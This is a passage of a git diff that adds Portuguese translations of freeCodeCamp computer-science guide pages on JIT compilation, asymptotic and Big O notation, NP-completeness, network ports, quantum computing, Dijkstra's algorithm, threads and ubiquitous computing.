+Parafraseando, os compiladores convencionais constroem o programa inteiro como um arquivo EXE ANTES da primeira vez que você o executa. Para programas de estilo mais recentes, um assembly é gerado com pseudocódigo (p-code). Somente depois de executar o programa no sistema operacional (por exemplo, clicando duas vezes em seu ícone), o compilador (JIT) entrará em ação e gerará o código de máquina (código m) que o processador baseado em Intel ou o que entender.
+
+## Cenário típico:
+
+O código fonte é completamente convertido em código de máquina
+
+## Cenário JIT:
+
+O código fonte será convertido em linguagem assembly como estrutura \[para ex IL (linguagem intermediária) para C #, ByteCode para java\].
+
+O código intermediário é convertido em linguagem de máquina apenas quando os códigos requeridos pelos aplicativos são convertidos somente em código de máquina.
+
+## Comparação JIT vs Non-JIT:
+
+No JIT nem todo o código é convertido em código de máquina primeiro uma parte do código que é necessário será convertida em código de máquina, então se um método ou funcionalidade chamado não estiver na máquina, então isso será transformado em código de máquina… reduz o ônus sobre a CPU. Como o código da máquina será gerado no tempo de execução ... o compilador JIT produzirá código de máquina que é otimizado para executar a arquitetura da CPU da máquina. Exemplos de JIT:
+
+No Java, o JIT está na JVM (Java Virtual Machine) Em C # está no CLR (Common Language Runtime) No Android, ele está em DVM (Dalvik Virtual Machine) ou ART (Android RunTime) em versões mais recentes.
+
+Java Virtual Machine (JVM) (JVM executa bytecode) mantém uma contagem de quantas vezes uma função é executada. Se esta contagem exceder um limite predefinido, o JIT compila o código em linguagem de máquina que pode ser executada diretamente pelo processador (ao contrário do caso normal em que o javac compila o código em bytecode e depois java - o interpretador interpreta esse bytecode linha por linha código de máquina e executa).
+
+Da próxima vez que esta função for calculada, o mesmo código compilado é executado novamente, diferentemente da interpretação normal, na qual o código é interpretado novamente linha por linha. Isso torna a execução mais rápida.
+
+#### Mais Informações
+
+*   [Compilação JIT (Wikipedia)](https://en.wikipedia.org/wiki/Just-in-time_compilation)
+*   [Introdução ao JIT](https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/notation/asymptotic-notation/index.md b/client/src/guide/portuguese/computer-science/notation/asymptotic-notation/index.md
new file mode 100644
index 0000000000..81f4f13bfc
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/notation/asymptotic-notation/index.md
@@ -0,0 +1,22 @@
+---
+title: Asymptotic Notation
+localeTitle: Notação Assintótica
+---
+## Notação Assintótica
+
+Como medimos o valor de desempenho de algoritmos?
+
+Considere como o tempo é um dos nossos recursos mais valiosos. Na computação, podemos medir o desempenho com o tempo que um processo leva para ser concluído. Se os dados processados ​​por dois algoritmos forem os mesmos, podemos decidir sobre a melhor implementação para resolver um problema.
+
+Fazemos isso definindo os limites matemáticos de um algoritmo. Estas são as notações big-O, big-omega e big-theta, ou as notações assintóticas de um algoritmo. Em um gráfico, o big-O seria o mais longo que um algoritmo poderia usar para qualquer dado conjunto de dados, ou o "limite superior". Big-omega é como o oposto de big-O, o "limite inferior". É aí que o algoritmo atinge sua velocidade máxima para qualquer conjunto de dados. Teta grande é o valor de desempenho exato do algoritmo ou um intervalo útil entre os limites superiores e inferiores estreitos.
+
+Alguns exemplos:
+
+*   "A entrega estará lá dentro da sua vida." (grande-O, limite superior)
+*   "Eu posso te pagar pelo menos um dólar." (big-omega, limite inferior)
+*   "A alta hoje será de 25ºC e a baixa será de 19ºC." (grande-teta, estreito)
+*   "É um quilômetro a pé da praia." (grande-teta, exato)
+
+#### Mais Informações:
+
+*   [Notação Assintótica](https://learnxinyminutes.com/docs/asymptotic-notation/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/notation/big-o-notation/index.md b/client/src/guide/portuguese/computer-science/notation/big-o-notation/index.md
new file mode 100644
index 0000000000..258b58b4e9
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/notation/big-o-notation/index.md
@@ -0,0 +1,64 @@
+---
+title: Big O Notation
+localeTitle: Notação Big O
+---
+## Notação Big O
+
+_Como cientista da computação, se você estiver trabalhando em um software importante, provavelmente precisará ser capaz de estimar a velocidade com que algum algoritmo ou outro vai rodar._
+
+A notação Big O é usada na ciência da computação para descrever o desempenho ou a complexidade de um algoritmo. Na verdade, a notação Big O é um símbolo especial que informa a velocidade do algoritmo. É claro que você usará algoritmos predefinidos com frequência - e, quando fizer isso, é vital entender o quão rápido ou lento eles são.
+
+#### Qual notação de Big O parece?
+
+![](https://user-images.githubusercontent.com/5860906/31781171-74c6b48a-b500-11e7-9626-f715b37b10f0.png) Isso informa o número de operações que um algoritmo fará. Chama-se notação Big O porque você coloca um “Big O” na frente do número de operações.  
+
+#### Big O estabelece um pior tempo de execução
+
+Digamos que você é um médico que está tratando Harry Abbit, você pode olhar para os registros eletrônicos que estão relacionados com a história médica de Harry Abbit (ele é a primeira pessoa em uma lista). Vamos considerar a situação em que sua vida depende de todos os dados médicos disponíveis. Suponha que você esteja usando uma pesquisa simples para procurar uma pessoa nos registros eletrônicos. Você sabe que a pesquisa simples leva O (n) tempo para ser executada, então você terá que procurar por cada entrada do Abbit. Claro, você notou que o Abbit é a primeira entrada, então você não tem que olhar para cada entrada - você a encontrou na primeira tentativa.
+
+_Esse algoritmo levou O (n) tempo? Ou levou O (1) tempo porque você encontrou a pessoa na primeira tentativa?_
+
+Nesse caso, esse é o melhor cenário. Mas a notação Big O é sobre o pior cenário possível. Isso é O (n) tempo (busca simples ainda leva). É uma garantia de que a busca simples nunca será mais lenta que a hora O (n).
+
+#### Os tempos de execução do algoritmo crescem a taxas diferentes
+
+Vamos supor que leva 1 milissegundo para verificar uma entrada. Com a pesquisa simples, o médico precisa verificar 10 entradas, então a pesquisa demora 10 ms para ser executada. Por outro lado, ele só precisa verificar 3 elementos com _algoritmo de busca binária_ (log10 é aproximadamente 3), de modo que a pesquisa leve 3 ms para ser executada.
+
+Mas, realisticamente, a lista terá mais de cem elementos.
+
+_Se isso acontecer, quanto tempo demora a pesquisa simples? Quanto tempo demora a pesquisa binária?_
+
+O tempo de execução para pesquisa simples com 1 bilhão de itens será de 1 bilhão de ms, o que equivale a 11 dias. O problema é que os tempos de execução para pesquisa binária e pesquisa simples _não crescem na mesma taxa_ .
+
+![](https://user-images.githubusercontent.com/5860906/31781165-723a053c-b500-11e7-937c-7b33db281efe.png)
+
+Assim, à medida que a lista de números aumenta, a pesquisa binária torna-se muito mais rápida que a pesquisa simples. Ou seja, à medida que o número de itens aumenta, a pesquisa binária leva um pouco mais de tempo para ser executada. Mas a pesquisa simples leva _muito_ mais tempo para ser executada. Assim, à medida que a lista de números aumenta, a pesquisa binária torna-se muito mais rápida que a pesquisa simples.
+
+_É por isso que não é suficiente saber quanto tempo um algoritmo leva para ser executado - você precisa saber como o tempo de execução aumenta à medida que o tamanho da lista aumenta. É aí que entra a notação Big O._
+
+#### A notação Big O permite comparar o número de operações
+
+Por exemplo, suponha que você tenha uma lista de tamanho n. A pesquisa simples precisa verificar cada elemento, portanto, serão necessárias n operações. O tempo de execução na notação Big O é O (n).
+
+_Onde estão os segundos?_
+
+Não há nenhum - Big O não diz a você a velocidade em segundos. _A notação Big O permite comparar o número de operações._ Diz-lhe quão rápido o algoritmo cresce.
+
+![](https://user-images.githubusercontent.com/5860906/31781175-768c208e-b500-11e7-9718-e632d1391e2d.png) </ p
+
+#### Tempos de execução mais comuns para algoritmos
+
+Uma lista dos tempos de execução mais comuns para algoritmos em termos de notação Big O. Aqui estão cinco tempos de execução do Big O que você encontrará muito, classificados do mais rápido para o mais lento:
+
+1.  O (log n), também conhecido como _tempo de log_ . Exemplo: pesquisa binária.
+2.  O (n), também conhecido como _tempo linear_ . Exemplo: pesquisa simples.
+3.  O (n \* log n) Exemplo: um algoritmo de classificação rápida, como quicksort (no capítulo 4).
+4.  O (n2) Exemplo: um algoritmo de classificação lenta, como a classificação de seleção (surgindo no capítulo 2).
+5.  Em!) Exemplo: um algoritmo muito lento, como o vendedor ambulante (chegando próximo!).
+
+_Este artigo cobre apenas os conceitos básicos do Big O. Para uma explicação mais detalhada, dê uma olhada em seus respectivos guias FreeCodeCamp para algoritmos._
+
+### Mais Informações
+
+*   [Khan Academy](https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-o-notation)
+*   [Big O folha de fraude](http://bigocheatsheet.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/notation/big-omega-notation/index.md b/client/src/guide/portuguese/computer-science/notation/big-omega-notation/index.md
new file mode 100644
index 0000000000..0174f370ea
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/notation/big-omega-notation/index.md
@@ -0,0 +1,27 @@
+---
+title: Big Omega Notation
+localeTitle: Notação Big Omega
+---
+## Notação Big Omega
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/notation/big-omega-notation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Semelhante à notação [grande O](https://guide.freecodecamp.org/computer-science/notation/big-o-notation) , a grande função Omega (Ω) é usada na ciência da computação para descrever o desempenho ou a complexidade de um algoritmo.
+
+Se um tempo de execução é Ω (f (n)), então, para n grande o suficiente, o tempo de execução é pelo menos k⋅f (n) para alguma constante k. Veja como pensar em um tempo de execução que é f (f (n)):  
+![função big-omega](https://s3.amazonaws.com/ka-cs-algorithms/Omega_fn.png)  
+Dizemos que o tempo de execução é "big-Ω de f (n)". Usamos a notação big-for para **limites inferiores assintóticos** , pois ela limita o crescimento do tempo de execução a partir de baixo para tamanhos de entrada grandes o suficiente.
+
+### Diferença entre Big O e Big Ω
+
+A diferença entre a notação Big O e a notação Big é que Big O é usado para descrever o pior tempo de execução de um algoritmo. Mas, a notação grande, por outro lado, é usada para descrever o melhor tempo de execução de um determinado algoritmo.
+
+#### Mais Informações:
+
+*   [Notação Big-Ω (Big-Omega)](https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-big-omega-notation)
+*   [!["MYCODSCHOOL](http://img.youtube.com/vi/OpebHLAf99Y/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=OpebHLAf99Y
+    )
+[](http://www.youtube.com/watch?feature=player_embedded&v=OpebHLAf99Y
+)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/notation/big-theta-notation/index.md b/client/src/guide/portuguese/computer-science/notation/big-theta-notation/index.md
new file mode 100644
index 0000000000..167beeb2e5
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/notation/big-theta-notation/index.md
@@ -0,0 +1,46 @@
+---
+title: Big Theta Notation
+localeTitle: Notação Theta Grande
+---
+## Notação Theta Grande
+
+O Big Omega nos diz o limite inferior do tempo de execução de uma função, e Big O nos diz o limite superior. Muitas vezes, eles são diferentes e não podemos garantir o tempo de execução - isso variará entre os dois limites e as entradas. Mas o que acontece quando são iguais? Então podemos dar um **theta** (Θ) ligado - nossa função será executada nesse tempo, não importa qual entrada nós damos. Em geral, sempre queremos dar um theta vinculado, se possível, porque é o limite mais preciso e mais preciso. Se não podemos dar uma ligação theta, a próxima melhor coisa é o limite O mais apertado possível.
+
+Tome, por exemplo, uma função que procura um array pelo valor 0:
+
+```python
+def containsZero(arr): #assume normal array of length n with no edge cases 
+  for num x in arr: 
+    if x == 0: 
+       return true 
+  return false 
+```
+
+1.  Qual é o melhor caso? Bem, se a matriz que dermos tiver 0 como o primeiro valor, levará tempo constante: Ω (1)
+2.  Qual é o pior caso? Se a matriz não contiver 0, teremos iterado por toda a matriz: O (n)
+
+Nós demos um omega e O, então e theta? Nós não podemos dar um! Dependendo da matriz que fornecemos, o tempo de execução estará em algum lugar entre constante e linear.
+
+Vamos mudar nosso código um pouco.
+
+```python
+def printNums(arr): #assume normal array of length n with no edge cases 
+  for num x in arr: 
+    print(x) 
+```
+
+Você pode pensar em um melhor caso e pior caso? Eu não posso! Não importa qual array nós damos, temos que percorrer todos os valores da matriz. Portanto, a função terá PELO MENOS n tempo (Ω (n)), mas também sabemos que não levará mais que n tempo (O (n)). O que isto significa? Nossa função levará **exatamente** n tempo: Θ (n).
+
+Se os limites são confusos, pense nisso assim. Nós temos 2 números, x e y. Nos é dado que x <= y e y <= x. Se x é menor ou igual a y, e y é menor ou igual a x, então x tem que ser igual a y!
+
+Se você estiver familiarizado com listas vinculadas, teste-se e pense nos tempos de execução de cada uma dessas funções!
+
+1.  obter
+2.  remover
+3.  adicionar
+
+As coisas ficam ainda mais interessantes quando você considera uma lista duplamente vinculada!
+
+#### Mais Informações:
+
+https://pt.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-big-theta-notation https://stackoverflow.com/questions/10376740/what-exactly-does-big-%D3%A8-notation-represent https://www.geeksforgeeks.org/analysis-of-algorithms-set-3asymptotic-notations/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/notation/index.md b/client/src/guide/portuguese/computer-science/notation/index.md
new file mode 100644
index 0000000000..aa43b1ce64
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Notation
+localeTitle: Notação
+---
+## Notação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/notation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/np-completeness/index.md b/client/src/guide/portuguese/computer-science/np-completeness/index.md
new file mode 100644
index 0000000000..5465f29934
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/np-completeness/index.md
@@ -0,0 +1,21 @@
+---
+title: Np Completeness
+localeTitle: Np Completeness
+---
+## Np Completeness
+
+NP-Complete é uma propriedade de certos tipos de problemas. Se um problema for NP-Complete, significa que não há algoritmo eficiente (polinomial) para encontrar uma solução para ele rapidamente. No entanto, se uma solução nos for dada, podemos rapidamente (em tempo polinomial) verificar se está correta.
+
+Para ser mais concreto, vamos examinar um problema conhecido do NP-Complete - o problema da soma do subconjunto. Digamos que temos um conjunto de inteiros {−7, −3, −2, 5, 8}. Queremos encontrar um subconjunto desses números inteiros cujos elementos somam 0. Como podemos fazer isso?
+
+Uma maneira seria simplesmente enumerar todos os subconjuntos possíveis e verificar se seus elementos somam 0. Isso seria exponencialmente complexo.
+
+E, de fato, não há algoritmo melhor conhecido, o que melhora o limite de tempo exponencial. É por isso que é classificado como um problema NP-Complete.
+
+Existem muitos desses problemas conhecidos, além do problema de soma de subconjuntos que são conhecidos como NP-Complete. Se um algoritmo eficiente para um é encontrado, isso implica que podemos projetar um algoritmo eficiente para todos os problemas que são NP-Complete.
+
+Se você tem um problema que pode ser provado ser NP-completo, você deve parar de tentar encontrar algoritmos mais eficientes para ele e, em vez disso, usar heurísticas para resolver o problema para a maioria dos casos de teste, ou resolver uma versão aproximada do problema. Ou talvez examine o problema que você está resolvendo para ver se não pode ser simplificado para algo que não é NP-Complete.
+
+#### Mais Informações:
+
+https://www.ics.uci.edu/~eppstein/161/960312.html https://stackoverflow.com/questions/210829/what-is-an-np-complete-in-computer-science
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/parallel-computing/index.md b/client/src/guide/portuguese/computer-science/parallel-computing/index.md
new file mode 100644
index 0000000000..f6b49675b8
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/parallel-computing/index.md
@@ -0,0 +1,11 @@
+---
+title: Parallel Computing
+localeTitle: Computação Paralela
+---
+## Computação Paralela
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/ports/index.md b/client/src/guide/portuguese/computer-science/ports/index.md
new file mode 100644
index 0000000000..f9cc6ee856
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/ports/index.md
@@ -0,0 +1,28 @@
+---
+title: Ports
+localeTitle: Portos
+---
+## Portos
+
+Uma porta é um ponto final de comunicação para um sistema operacional, no conjunto de protocolos da Internet. Nomes de serviço e números de porta são usados ​​para distinguir entre serviços diferentes executados em protocolos de transporte, como TCP, UDP, DCCP e SCTP. Quando um computador recebe uma mensagem de outra fonte, as portas ajudam a determinar qual processo está esperando essa mensagem.
+
+Uma porta é sempre relacionada a um endereço IP de um host e ao tipo de protocolo da comunicação e, portanto, completa o endereço de rede de destino ou de origem de uma sessão de comunicação. Há 65536 portas disponíveis no sistema operacional. Uma porta é identificada para cada endereço e protocolo por um número de 16 bits, comumente conhecido como o número da porta. Por exemplo, um endereço pode ser "protocolo: TCP, endereço IP: 1.2.3.4, número da porta: 80", que pode ser escrito como 1.2.3.4:80 quando o protocolo é conhecido do contexto. Alguns números de porta são usados ​​por convenção para identificar serviços específicos, como:
+
+*   20 - FTP
+*   21 - FTP
+*   22 - SSH
+*   23 - Telnet
+*   25 - SMTP
+*   42 - servidor de nomes
+*   53 - Sistema de Nomes de Domínio (DNS)
+*   80 - http
+*   110 - pop3
+*   143 - imap
+*   194 - irc
+*   443 - https
+
+### Fontes
+
+*   [iana.org](https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml)
+*   [Wikipedia](https://en.wikipedia.org/index.php?q=aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUG9ydF8oY29tcHV0ZXJfbmV0d29ya2luZyk)
+*   [Webopedia](https://www.webopedia.com/quick_ref/portnumbers.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/quantum-computing/index.md b/client/src/guide/portuguese/computer-science/quantum-computing/index.md
new file mode 100644
index 0000000000..fde1d15cc1
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/quantum-computing/index.md
@@ -0,0 +1,33 @@
+---
+title: Quantum Computing
+localeTitle: Computação quântica
+---
+## Computação quântica
+
+A computação quântica estuda sistemas de computação (computadores quânticos) que fazem uso direto de fenômenos da mecânica quântica, como superposição e emaranhamento, para realizar operações em dados.
+
+### O que é computação quântica?
+
+A natureza - incluindo moléculas como a cafeína - segue as leis da mecânica quântica, um ramo da física que explora como o mundo físico funciona nos níveis mais fundamentais. Nesse nível, as partículas se comportam de maneiras estranhas, assumindo mais de um estado ao mesmo tempo e interagindo com outras partículas que estão muito distantes. A computação quântica aproveita esses fenômenos quânticos para processar informações de maneira nova e promissora.
+
+A Computação Quântica é o estudo de sistemas de computação quântica que utilizam fenômenos da mecânica quântica, como emaranhamento e superposição. Computadores eletrônicos de dígitos binários clássicos (como seu próprio PC!) São baseados em transistores, que armazenam dados em dígitos binários (bits), cada um dos quais pode estar em um dos dois estados (0 ou 1). Os computadores quânticos, por outro lado, armazenam dados em bits quânticos, que podem estar em superposições de estados.
+
+Como um computador quântico é capaz de tirar proveito dessas propriedades mecânicas quânticas, teoriza-se que computadores quânticos de larga escala serão capazes de resolver certos problemas muito mais rapidamente do que um computador clássico.
+
+### O que são computadores clássicos?
+
+Os computadores que usamos hoje são conhecidos como computadores clássicos. Eles têm sido uma força motriz no mundo há décadas - avançando de tudo, desde a saúde até a forma como fazemos compras. Mas há certos problemas que os computadores clássicos simplesmente nunca conseguirão resolver. Considere a molécula de cafeína em uma xícara de café. Surpreendentemente, é complexo o suficiente para que nenhum computador que exista ou possa ser construído seja capaz de modelar cafeína e entender completamente sua estrutura e propriedades detalhadas. Este é o tipo de desafio que o quantum tem o potencial de resolver.
+
+### Como funcionam os computadores quânticos?
+
+Computadores clássicos codificam informações em bits. Cada bit pode ter o valor de 1 ou 0. Esses 1s e 0s atuam como chaves liga / desliga que, por fim, acionam as funções do computador. Computadores quânticos, por outro lado, são baseados em qubits, que operam de acordo com dois princípios-chave da física quântica: superposição e emaranhamento. Superposição significa que cada qubit pode representar um 1 e um 0 ao mesmo tempo. Emaranhamento significa que os qubits em uma superposição podem ser correlacionados uns com os outros; isto é, o estado de um (seja um 1 ou um 0) pode depender do estado de outro. Usando esses dois princípios, os qubits podem atuar como switches mais sofisticados, permitindo que os computadores quânticos funcionem de maneiras que lhes permitam resolver problemas difíceis que são intratáveis ​​usando os computadores de hoje.
+
+### O que os computadores quânticos podem fazer?
+
+Os sistemas quânticos podem desvendar a complexidade das interações moleculares e químicas, levando à descoberta de novos medicamentos e materiais. Eles podem permitir a logística e cadeias de suprimento ultraeficientes, como otimizar as operações da frota para entregas durante as festas de fim de ano. Eles podem nos ajudar a encontrar novas maneiras de modelar dados financeiros e isolar os principais fatores de risco globais para fazer melhores investimentos. E eles podem tornar as facetas da inteligência artificial, como aprendizado de máquina, muito mais poderosas.
+
+### Mais recursos
+
+[Computadores Quantum Explained - Limites da Tecnologia Humana | Kurzgesagt - em poucas palavras](https://www.youtube.com/watch?v=JhHMJCUmq28)
+
+[Computação quântica explicada com um baralho de cartas | Dario Gil, IBM Research](https://www.youtube.com/watch?v=yy6TV9Dntlw)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/quantum-computing/qubits/index.md b/client/src/guide/portuguese/computer-science/quantum-computing/qubits/index.md
new file mode 100644
index 0000000000..ffa2d851db
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/quantum-computing/qubits/index.md
@@ -0,0 +1,21 @@
+---
+title: Qubits
+localeTitle: Qubits
+---
+## Qubits
+
+Um Qubit é curto para bit quântico, análogo ao dígito binário (bit) do computador clássico. É a unidade básica de informação em um computador quântico, assim como um dígito binário (0 ou 1) é a unidade básica de informação em computadores clássicos amplamente utilizados atualmente.
+
+A principal diferença entre o bit clássico e o bit quântico tem a ver com a quantidade de **estados em que** eles podem existir de uma vez, o que impacta diretamente na quantidade de informação que eles podem conter. Em um sistema clássico, um bit teria que estar em um estado (0) ou o outro (1) a qualquer momento. No entanto, **a mecânica quântica** permite que o qubit se comporte como se estivesse em ambos os estados simultaneamente. Em outras palavras, cada qubit adicional utilizado aumenta exponencialmente a quantidade de informação que o computador quântico pode processar ou manter. Essa propriedade é fundamental para a computação quântica.
+
+Para ilustrar isso ainda mais, se você tivesse um qubit, você pode armazenar um "0" e "1" simultaneamente (o que corresponde a um total de 2 estados ou valores). Se você tivesse um sistema de 2 qubits, você pode manter **quatro** valores de uma vez - 00, 01, 10 e 11. Com um sistema de 3 qubits, você pode armazenar **oito** valores de uma só vez - 000, 001, 010, 011, 100 , 101, 110 e 111. Em geral, um sistema quântico consistindo de n-qubits poderá ter 2 ^ n estados que é exponencialmente mais poderoso que qualquer computador clássico.
+
+#### Mais Informações:
+
+[Ars Technica - Explanação de Computação Quântica e Qubits](https://arstechnica.com/science/2010/01/a-tale-of-two-qubits-how-quantum-computers-work)
+
+[Wikipedia - Qubits](https://en.wikipedia.org/wiki/Qubit)
+
+[Wikipedia - Quantum Superposition](https://en.wikipedia.org/wiki/Quantum_superposition)
+
+[Mecânica Quântica na Wikipedia](https://en.wikipedia.org/wiki/Quantum_mechanics)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/recursive-descent/index.md b/client/src/guide/portuguese/computer-science/recursive-descent/index.md
new file mode 100644
index 0000000000..cbcf4c2133
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/recursive-descent/index.md
@@ -0,0 +1,11 @@
+---
+title: Recursive Descent
+localeTitle: Descida Recursiva
+---
+## Descida Recursiva
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/recursive-descent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/shortest-path-on-a-graph/index.md b/client/src/guide/portuguese/computer-science/shortest-path-on-a-graph/index.md
new file mode 100644
index 0000000000..3bcda77afc
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/shortest-path-on-a-graph/index.md
@@ -0,0 +1,37 @@
+---
+title: Shortest Path on a Graph
+localeTitle: Caminho mais curto em um gráfico
+---
+## Caminho mais curto em um gráfico
+
+Encontrar o caminho mais curto entre dois pontos em um gráfico é um problema comum em estruturas de dados, especialmente quando se lida com otimização. Um gráfico é uma série de nós conectados por arestas. Os gráficos podem ser ponderados (as bordas carregam valores) e direcional (as bordas têm direção).
+
+Algumas aplicações deste são otimização de rotas de voo ou [6 graus de Kevin Bacon](https://en.wikipedia.org/wiki/Six_Degrees_of_Kevin_Bacon)
+
+## Algoritmo de Dijkstra
+
+A solução mais comum para esse problema é o algoritmo de Dijkstra, que atualiza o caminho mais curto entre o nó atual e todos os seus vizinhos. Depois de atualizar a distância de todos os vizinhos, ele se move para o nó com a menor distância e repete o processo com todos os vizinhos não-pesquisados. Esse processo continua até que todo o gráfico tenha sido visitado.
+
+![Imagem dos níveis de código](https://upload.wikimedia.org/wikipedia/commons/5/57/Dijkstra_Animation.gif)
+
+**Passo 0:**
+
+Nosso gráfico precisa ser configurado para que possamos registrar os valores necessários. Em qualquer borda, temos a distância entre os dois nós que ela conecta. Em qualquer nó, temos a menor distância do nó inicial. Vamos definir o valor em cada nó para o infinito positivo e definir o valor no nó inicial como zero.
+
+**Passo 1:**
+
+Observe todos os nós diretamente adjacentes ao nó inicial. Os valores transportados pelas arestas que conectam o início e esses nós adjacentes são as distâncias mais curtas para cada nó correspondente. Registre essas distâncias no nó - sobrescrever o infinito - e também cruzar os nós, significando que seu caminho mais curto foi encontrado.
+
+**Passo 2:**
+
+Selecione um dos nós que teve seu caminho mais curto calculado, chamaremos isso de pivô. Observe os nós adjacentes a ele (chamaremos esses nós de destino) e as distâncias que os separam. Para cada nó de destino: se o valor no pivô mais o valor de borda que o conecta totalizar menos que o valor do nó de destino, atualize seu valor, pois um novo caminho mais curto foi encontrado. Se todas as rotas para esse nó de destino tiverem sido exploradas, elas poderão ser cortadas.
+
+**Etapa 3:**
+
+Repita o passo 2 até que todos os nós tenham sido cruzados. Agora temos um gráfico onde os valores mantidos em qualquer nó serão a menor distância até ele do nó inicial.
+
+#### Mais Informações:
+
+[Mais sobre o algoritmo de Dijkstra](https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm)
+
+[Outros algoritmos de caminho mais curto](https://en.wikipedia.org/wiki/Shortest_path_problem#Algorithms)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/threads/index.md b/client/src/guide/portuguese/computer-science/threads/index.md
new file mode 100644
index 0000000000..2aac97786b
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/threads/index.md
@@ -0,0 +1,40 @@
+---
+title: Threads
+localeTitle: Tópicos
+---
+## Tópicos
+
+Uma sequência de instruções de programa fornecidas ao sistema operacional para execução. É a menor seqüência síncrona que pode ser executada. Sendo síncronas, as instruções em um thread são lineares e executadas uma após a outra. Se um programa tiver vários encadeamentos, o programa como um todo pode ser assíncrono, já que esses encadeamentos executam suas próprias instruções independentemente uns dos outros (simultaneamente).
+
+Um thread é uma abstração que os sistemas operacionais usam para representar a CPU para os programas. Não existe um conceito real de threads no código da máquina ou nas linguagens assembly.
+
+Os threads são uma maneira de programar para executar várias tarefas ao mesmo tempo.
+
+Uma distinção comum que se deve fazer é a diferença entre threads e processos. Um thread é filho de um processo, por assim dizer.  
+Pode haver qualquer número de encadeamentos filhos no contexto de um processo. Threads podem aumentar a velocidade de execução de um programa, aumentando a porcentagem de CPU usada para a tarefa.  
+Observe que aumentar drasticamente o número de encadeamentos em um programa pode exigir muito da CPU e, se 100% da CPU estiver sendo usada, os encadeamentos não afetarão a velocidade da execução.
+
+![Segmentos dentro de um gráfico de processo](https://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Multithreaded_process.svg/440px-Multithreaded_process.svg.png)
+
+Suponha que você tenha vários programas abertos - cada compartilhamento de programa do tempo da CPU é representado por um ou mais encadeamentos associados a esse programa. Quando o **agendador** do sistema operacional decide que é a vez do Programa A executar, o SO alimenta (ou, para ser mais preciso, multiplexa) instruções no thread do Programa A para a CPU, que então executa essas instruções.
+
+Um thread para um determinado programa consiste em algumas ou todas as instruções compiladas do programa, além de algumas informações necessárias para a CPU executar essas instruções.
+
+**Multithreading** é um conceito de programação em que um programa gera vários threads durante a execução, de modo a executar tarefas mais rapidamente.
+
+Aqui está um exemplo simples de multithreading em python que imprime os números de 1 a 10, gerando um thread separado para cada instrução print.
+```
+import threading 
+ 
+ def print_number(number): 
+    print(number) 
+ 
+ if __name__ == "__main__": 
+    for i in range(1, 11): 
+        threading.Thread(target=print_number, args=(i,)).start() 
+```
+
+#### Mais Informações:
+
+*   [Tópicos (Wikipedia)](https://en.wikipedia.org/wiki/Thread_(computing))
+*   [Noções básicas sobre multithreading](http://www.nakov.com/inetjava/lectures/part-1-sockets/InetJava-1.3-Multithreading.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/ubiquitous-computing/index.md b/client/src/guide/portuguese/computer-science/ubiquitous-computing/index.md
new file mode 100644
index 0000000000..ba21c29985
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/ubiquitous-computing/index.md
@@ -0,0 +1,20 @@
+---
+title: Ubiquitous Computing
+localeTitle: Computação ubíqua
+---
+## Computação ubíqua
+
+O termo computação onipresente foi introduzido por Mark Weiser em 1988. Ele escreveu vários artigos nos quais descreve sua visão de um futuro em que a tecnologia está embutida no ambiente e em objetos do cotidiano.
+
+Uma das principais idéias da computação onipresente é que esses dispositivos incorporados se comunicam uns com os outros e com o ambiente ao redor de maneira invisível, para que possam nos apoiar em nossa vida diária sem serem notados.
